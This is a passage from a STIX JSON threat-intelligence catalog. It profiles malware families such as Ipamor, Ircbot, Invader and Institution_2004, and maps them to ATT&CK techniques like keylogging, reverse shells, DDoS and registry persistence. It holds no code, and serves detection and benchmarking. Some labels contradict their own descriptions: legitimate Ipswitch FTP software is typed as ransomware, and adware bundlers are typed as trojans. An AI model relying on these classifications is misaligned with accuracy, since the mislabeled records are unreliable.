      "description": "InstallToolbar (classified in security software as BrowserModifier:Win32/InstallToolbar, Adware:Win32/InstallToolbar, and PUA:Win32/InstallToolbar) is a deceptive software installer bundler, adware delivery mechanism, and browser hijacker active across third-party download portals. Bundled into freeware and game installers, InstallToolbar modifies web browser preferences without explicit disclosure, altering the default search engine, start page, and new tab URLs in Google Chrome, Mozilla Firefox, and Internet Explorer. It injects sponsored affiliate links and banner advertisements into search results, routing search queries through monetization redirect networks. InstallToolbar registers persistent registry Run keys and background updater tasks to maintain its configuration across system reboots. (Observed samples in benchmark: 18)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/InstallToolbar",
        "Adware:Win32/InstallToolbar",
        "PUA:Win32/InstallToolbar",
        "Win32/InstallToolbar",
        "InstallToolbar Bundler"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Installtoolbar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/installtoolbar"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2b629cc9-8323-5611-9064-f403e2d67059",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Instally",
      "description": "Adware:Win32/Instally is a widespread Potentially Unwanted Program (PUP) categorized as a 'Bundler' or 'Wrapper'. Its primary function is to act as an installation conduit for other software. While it may install a legitimate freeware application the user intended to download, its deceptive core purpose is to silently package and install multiple other unwanted applications\u2014such as browser hijackers, fake system optimizers, and aggressive adware\u2014to generate pay-per-install revenue.<br><br><b>Understanding Instally (Software Bundling)</b><br>To an end-user, executing Instally looks like a normal, albeit cluttered, software setup wizard. However, if the user rapidly clicks 'Next' without reading the fine print (employing 'dark pattern' UI design), their machine is flooded with unwanted software. For a security administrator, Instally represents a significant risk to endpoint hygiene and a primary vector for introducing vulnerabilities and data-tracking components (`T1189`).<br><br><b>Execution and Deception Mechanics</b><br>Instally is heavily distributed via third-party software download portals or through deceptive advertisements offering 'free' utilities. Upon execution (`T1204.002`), the wrapper requests Administrator privileges. It then communicates with its backend servers (`T1105`) to download and silently install the bundled payloads in the background while displaying the installation progress for the primary application. These secondary payloads establish their own persistence (`T1547.001`), aggressively modify browser settings (`T1562.001`), and begin displaying intrusive advertisements.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, massive system slowdowns, and increased attack surface. Host-based IoCs include the sudden appearance of multiple unknown applications in the Windows 'Programs and Features' list occurring at the exact same timestamp, new browser extensions, and hijacked homepage settings. Network IoCs include EDR alerts for a single installer process (`instally.exe`) spawning multiple child setup processes or making numerous outbound connections to diverse software distribution domains. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Instally",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/instally"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--630a44db-4047-5e40-a60b-7c5fa598d901",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b629cc9-8323-5611-9064-f403e2d67059",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Instally exhibits technique T1189 (Drive-by Compromise (Deceptive software bundling portals))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fee5b858-046f-58cb-b44a-65f7cfe0b17f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b629cc9-8323-5611-9064-f403e2d67059",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Instally exhibits technique T1105 (Ingress Tool Transfer (Downloading the secondary bundled payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d412fb5a-4184-572e-9b69-4b2f8ecd08a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b629cc9-8323-5611-9064-f403e2d67059",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Instally exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking by the payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c7546b88-d09f-5480-a887-0391486170a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Institution_2004",
      "description": "Institution 2004 (cataloged across security software as Trojan:Win32/Institution2004, Backdoor.Win32.Institution, and Trojan.Institution) is an early 2000s Delphi-based remote access trojan and backdoor suite that circulated across early underground cybercrime and malware authoring forums. Engineered to establish persistent remote administrative access, Institution 2004 drops a hidden background daemon onto infected Windows hosts, opens reverse command sockets to attacker IP addresses, records keyboard entries, extracts system environment variables, and enables remote operators to execute shell commands, manage files, and alter system configurations.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Institution2004",
        "Backdoor.Win32.Institution",
        "Trojan.Institution",
        "Win32/Institution.RAT",
        "Institution.2004.Backdoor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Institution_2004",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/institution_2004"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2b1281bc-bde5-5cca-97e4-d128b860a16e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7546b88-d09f-5480-a887-0391486170a7",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Institution_2004 exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9771b641-2f71-5a40-84b4-41a0b8c29f4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7546b88-d09f-5480-a887-0391486170a7",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Institution_2004 exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7408302a-7996-53f8-8c07-9107e213d75b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7546b88-d09f-5480-a887-0391486170a7",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Institution_2004 exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e2a3576-df08-5600-8751-9ff7840e5b9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7546b88-d09f-5480-a887-0391486170a7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Institution_2004 exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bee295b9-0d9b-5974-9d74-99aa31fec54e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7546b88-d09f-5480-a887-0391486170a7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Institution_2004 exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0ca7f37f-fea8-5e2e-a5ca-e02a8975dcf8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Instmonster",
      "description": "Adware:Win32/Instmonster is a widespread Potentially Unwanted Program (PUP) categorized as a 'Bundler' or 'Wrapper'. Its primary function is to act as an installation conduit for other software. While it may install a legitimate freeware application the user intended to download, its deceptive core purpose is to silently package and install multiple other unwanted applications\u2014such as browser hijackers, fake system optimizers, and aggressive adware\u2014to generate pay-per-install revenue.<br><br><b>Understanding Instmonster (Software Bundling)</b><br>To an end-user, executing Instmonster looks like a normal, albeit cluttered, software setup wizard. However, if the user rapidly clicks 'Next' without reading the fine print (employing 'dark pattern' UI design), their machine is flooded with unwanted software. For a security administrator, Instmonster represents a significant risk to endpoint hygiene and a primary vector for introducing vulnerabilities and data-tracking components (`T1189`).<br><br><b>Execution and Deception Mechanics</b><br>Instmonster is heavily distributed via third-party software download portals or through deceptive advertisements offering 'free' utilities. Upon execution (`T1204.002`), the wrapper requests Administrator privileges. It then communicates with its backend servers (`T1105`) to download and silently install the bundled payloads in the background while displaying the installation progress for the primary application. These secondary payloads establish their own persistence (`T1547.001`), aggressively modify browser settings (`T1562.001`), and begin displaying intrusive advertisements.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, massive system slowdowns, and increased attack surface. Host-based IoCs include the sudden appearance of multiple unknown applications in the Windows 'Programs and Features' list occurring at the exact same timestamp, new browser extensions, and hijacked homepage settings. Network IoCs include EDR alerts for a single installer process (`instmonster.exe`) spawning multiple child setup processes or making numerous outbound connections to diverse software distribution domains. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Instmonster",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/instmonster"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc427eab-0a3c-52ca-8777-6b6190bf968d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ca7f37f-fea8-5e2e-a5ca-e02a8975dcf8",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Instmonster exhibits technique T1189 (Drive-by Compromise (Deceptive software bundling portals))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9bf5c481-5535-525f-b4c6-64f4ef647727",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ca7f37f-fea8-5e2e-a5ca-e02a8975dcf8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Instmonster exhibits technique T1105 (Ingress Tool Transfer (Downloading the secondary bundled payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f76c9672-4334-5dca-8eaa-6146e55f4011",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ca7f37f-fea8-5e2e-a5ca-e02a8975dcf8",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Instmonster exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking by the payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--538f8612-bc88-5068-ba28-5be491d16098",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Invader",
      "description": "Invader (cataloged in antimalware repositories under signatures including Virus:Win32/Invader, Trojan:Win32/Invader, and Virus.Win32.Invader) is a sophisticated parasitic Windows PE file infector and memory-resident rootkit active since 2005. Once executed on a target machine, Invader injects a thread into the Windows kernel space or core system processes (services.exe, svchost.exe), hooking native file system APIs. Invader traverses local and mapped drives, searching for 32-bit Portable Executable (.exe) files. It prepends or appends polymorphic decryption routines to host binaries while relocating the original entry point (OEP), ensuring execution of its viral payload prior to passing control to the legitimate program. Invader disables system security notifications and blocks access to antivirus vendor update domains. (Observed samples in benchmark: 27)",
      "is_family": true,
      "malware_types": [
        "virus"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Virus:Win32/Invader",
        "Trojan:Win32/Invader",
        "Virus.Win32.Invader",
        "Win32/Invader",
        "W32/Invader.virus"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Invader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/invader"
        }
      ],
      "labels": [
        "file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fc0e906c-654c-58e3-ba6d-6537ae6fa46e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Iobit",
      "description": "IOBit (classified across cybersecurity vendors under designations including PUA:Win32/IOBit, Program:Win32/IOBit, and Potentially Unwanted Application: IOBit) refers to a family of PC optimization, system maintenance, and driver updating software products (including Advanced SystemCare, IObit Driver Booster, and IObit Uninstaller) bundled with aggressive telemetry collectors and promotional adware components. Distributed via freeware bundle aggregators and deceptive online upgrade prompts, IOBit applications present exaggerated system registry errors, out-of-date driver risks, and fabricated performance bottlenecks to frighten users into purchasing premium software licenses. The software establishes numerous persistent Windows background services, scheduled tasks, and autostart registry entries under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run, frequently displaying intrusive pop-up advertisements, cross-promoting partner software utilities, and transmitting device telemetry to remote analytics infrastructure. (Observed samples in benchmark: 18)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/IOBit",
        "Program:Win32/IOBit",
        "Win32/IOBit",
        "IOBit Advanced SystemCare",
        "PUA.IOBit"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Iobit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/iobit"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e7b0ed32-0877-5356-a21f-c96d0c5ed0ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ipamor",
      "description": "Ipamor (cataloged across security industry feeds as Backdoor:Win32/Ipamor, Trojan:Win32/Ipamor!rfn, Trojan.Win32.IPAMOR, and PE_IPAMOR) is a stealthy remote access trojan (RAT) and backdoor active since 2012. Engineered to establish covert, long-term persistence within compromised corporate environments, Ipamor is distributed via targeted spearphishing campaigns with malicious document droppers and drive-by web compromise. Upon execution, the malware unpacks its encrypted core binary and utilizes process injection (targeting svchost.exe or legitimate system processes) to mask its presence and evade host intrusion prevention systems (HIPS). Ipamor establishes persistence via Windows Registry Run keys (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run) and hidden scheduled tasks. Once anchored, Ipamor initiates encrypted command-and-control communications over custom TCP/HTTP protocols, providing attackers with interactive remote command shell access, system profiling, keystroke logging, file upload and download capabilities, and the ability to download secondary malware modules. (Observed samples in benchmark: 147)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Ipamor",
        "Trojan:Win32/Ipamor!rfn",
        "Trojan.Win32.IPAMOR",
        "PE_IPAMOR",
        "Win32/Ipamor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ipamor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ipamor"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--367fcb70-2376-557b-b43e-8409110a02dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e7b0ed32-0877-5356-a21f-c96d0c5ed0ab",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ipamor exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f11e9dbf-7154-551f-ac35-461a6e44821b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e7b0ed32-0877-5356-a21f-c96d0c5ed0ab",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ipamor exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ad1f2d0-ffda-53cb-8e68-c5165478a3c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e7b0ed32-0877-5356-a21f-c96d0c5ed0ab",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ipamor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72b234d3-ad83-57ef-b7e8-b94e29e935dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e7b0ed32-0877-5356-a21f-c96d0c5ed0ab",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ipamor exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02d3f1d7-975c-5d32-9b0e-34dc9c9272eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e7b0ed32-0877-5356-a21f-c96d0c5ed0ab",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ipamor exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f847f4b3-5184-5380-80b3-ccd73b68a70d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ipswitch",
      "description": "Riskware:Win32/Ipswitch is a heuristic detection used to flag potentially unwanted or unauthorized network utilities, specifically those related to the legitimate software company Progress Software (formerly Ipswitch), makers of tools like WS_FTP and MOVEit. While the software itself is legitimate, in an enterprise context, the unauthorized installation of these file transfer tools constitutes a severe policy violation (Shadow IT) and presents a massive risk for unmonitored data exfiltration (`T1048.003`).<br><br><b>Understanding Ipswitch (Unauthorized File Transfer Tools)</b><br>To an end-user, installing an Ipswitch FTP client might seem like a convenient way to send a large file to a vendor. For a security administrator, this is a critical incident. These unauthorized tools bypass corporate Data Loss Prevention (DLP) controls, proxy inspections, and established secure file transfer protocols. Furthermore, vulnerabilities in legacy versions of these tools (most notably the catastrophic MOVEit vulnerabilities in 2023) are prime targets for ransomware gangs.<br><br><b>Execution and Risk Mechanics</b><br>The software is usually downloaded intentionally by an employee. Because it is legitimate commercial software, it rarely triggers standard antivirus signatures. The risk lies in its behavior: these tools are designed to facilitate rapid, high-volume data transfer over FTP, SFTP, or HTTPS (`T1048.003`). If an employee's credentials are compromised, or if the tool is misconfigured (e.g., exposing an anonymous FTP server), threat actors can seamlessly exfiltrate sensitive corporate data without triggering standard network alarms. Additionally, if the software is unpatched, it can serve as a direct entry point for attackers (`T1190`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the high probability of data exfiltration and the introduction of vulnerable, unmanaged infrastructure. Host-based IoCs include the presence of known Ipswitch executables (e.g., `wsftppro.exe`) or services installed in `C:\\Program Files`. Network IoCs include sudden spikes in outbound FTP or SFTP traffic originating from standard user workstations, circumventing established proxy gateways. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ipswitch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ipswitch"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--478c770c-c529-5cd1-bf60-5715d9902db0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f847f4b3-5184-5380-80b3-ccd73b68a70d",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ipswitch exhibits technique T1048.003 (Exfiltration Over Alternative Protocol (Using unauthorized FTP/SFTP clients to bypass DLP))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eae4b7ba-eea0-586d-a2ba-8ca18c1c41e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f847f4b3-5184-5380-80b3-ccd73b68a70d",
      "target_ref": "attack-pattern--be10f842-949a-5910-87e6-3068819d42e6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ipswitch exhibits technique T1190 (Exploit Public-Facing Application (If unauthorized server components are installed and exposed))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98060b65-acd2-5504-b0fc-4893089f76fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f847f4b3-5184-5380-80b3-ccd73b68a70d",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ipswitch exhibits technique T1204.002 (User Execution: Malicious File (Intentional installation by the user))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0b702999-f129-5508-91aa-4dc1c0a78c94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ircbot",
      "description": "Backdoor:Win32/Ircbot is a foundational lineage of remote access trojans and botnet agents that utilize Internet Relay Chat (IRC) protocol channels for decentralized command and control. Originating from early 2000s codebase roots\u2014including sdbot, Agobot/Gaobot, and Spybot\u2014Ircbot connects silently to preconfigured IRC servers, joining password-protected channels with randomized pseudonyms to receive batch commands from botmasters. Through standardized chat commands (such as .ddos.syn, .download, and .scan), operators direct large armies of infected systems to launch distributed denial-of-service (DDoS) barrages, worm autonomously through local subnets via historic remote code execution vulnerabilities (such as MS03-026 RPC DCOM and MS04-011 LSASS), capture keystrokes, and download secondary crimeware payloads. (Observed samples in benchmark: 348)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ircbot",
        "Backdoor:Win32/Ircbot",
        "W32.Ircbot",
        "Backdoor.IRC.Bot",
        "Trojan.IRC.Zapchast",
        "Win32/Ircbot",
        "IRC-Worm"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ircbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ircbot"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f59a27f8-4b19-5ef5-9f42-a45f6d6a7896",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b702999-f129-5508-91aa-4dc1c0a78c94",
      "target_ref": "attack-pattern--aa418889-2105-5889-96f6-4224121989df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ircbot exhibits technique T1071.002 (IRC Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa0a8fae-9564-5953-b2b4-353ab5f847bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b702999-f129-5508-91aa-4dc1c0a78c94",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ircbot exhibits technique T1498 (Network Denial of Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1a9981a-dc9c-551e-9ce9-a34e9ce27c4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b702999-f129-5508-91aa-4dc1c0a78c94",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ircbot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd612be6-46a7-5463-b3c5-0c282eb32a86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b702999-f129-5508-91aa-4dc1c0a78c94",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ircbot exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2cf4541f-06c2-5522-91e8-1c90c73d003b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b702999-f129-5508-91aa-4dc1c0a78c94",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ircbot exhibits technique T1046 (Network Service Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4aa935ea-5a3c-5fd0-ba13-7c1f0019e03e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b702999-f129-5508-91aa-4dc1c0a78c94",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
